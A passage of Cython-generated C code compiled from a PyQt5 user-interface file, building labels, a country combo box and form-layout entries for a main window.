0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":486 * self.label_38 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_38.setObjectName("label_38") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) # <<<<<<<<<<<<<< * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) * self.RR_Pays.setToolTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_38); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_8, __pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_8, __pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_8); __Pyx_GIVEREF(__pyx_int_8); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_8); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_1); __pyx_t_3 = 0; __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 486, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":487 * self.label_38.setObjectName("label_38") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_Pays.setToolTip("") * self.RR_Pays.setStatusTip("") */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QComboBox); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays, __pyx_t_7) < 0) __PYX_ERR(0, 487, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":488 * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.LabelRole, self.label_38) * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) * self.RR_Pays.setToolTip("") # <<<<<<<<<<<<<< * self.RR_Pays.setStatusTip("") * self.RR_Pays.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 488, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 488, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__305, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 488, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":489 * self.RR_Pays = QtWidgets.QComboBox(self.formLayoutWidget_3) * self.RR_Pays.setToolTip("") * self.RR_Pays.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_Pays.setAccessibleName("") * self.RR_Pays.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 489, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 489, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__306, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 489, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":490 * self.RR_Pays.setToolTip("") * self.RR_Pays.setStatusTip("") * self.RR_Pays.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_Pays.setAccessibleDescription("") * self.RR_Pays.setObjectName("RR_Pays") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 490, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 490, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__307, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 490, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":491 * self.RR_Pays.setStatusTip("") * self.RR_Pays.setAccessibleName("") * self.RR_Pays.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_Pays.setObjectName("RR_Pays") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 491, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 491, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__308, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 491, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":492 * self.RR_Pays.setAccessibleName("") * self.RR_Pays.setAccessibleDescription("") * self.RR_Pays.setObjectName("RR_Pays") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 492, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 492, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__309, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 492, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":493 * self.RR_Pays.setAccessibleDescription("") * self.RR_Pays.setObjectName("RR_Pays") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) # <<<<<<<<<<<<<< * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_39.setObjectName("label_39") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Pays); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_8, __pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_8, __pyx_t_4, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_8); __Pyx_GIVEREF(__pyx_int_8); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_8); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_2); __pyx_t_4 = 0; __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 493, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":494 * self.RR_Pays.setObjectName("RR_Pays") * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_39.setObjectName("label_39") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_2) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_39, __pyx_t_7) < 0) __PYX_ERR(0, 494, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":495 * self.formLayout_3.setWidget(8, QtWidgets.QFormLayout.FieldRole, self.RR_Pays) * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_39.setObjectName("label_39") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_39); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 495, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 495, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__310, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 495, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":496 * self.label_39 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_39.setObjectName("label_39") * self.formLayout_3.setWidget(11, QtWidgets.QFormLayout.LabelRole, self.label_39) # <<<<<<<<<<<<<< * self.RR_date = QtWidgets.QDateEdit(self.formLayoutWidget_3) * self.RR_date.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_39); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_11, __pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_2, __pyx_int_11, __pyx_t_6, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_int_11); __Pyx_GIVEREF(__pyx_int_11); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_11); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_3); __pyx_t_6 = 0; __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 496, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); 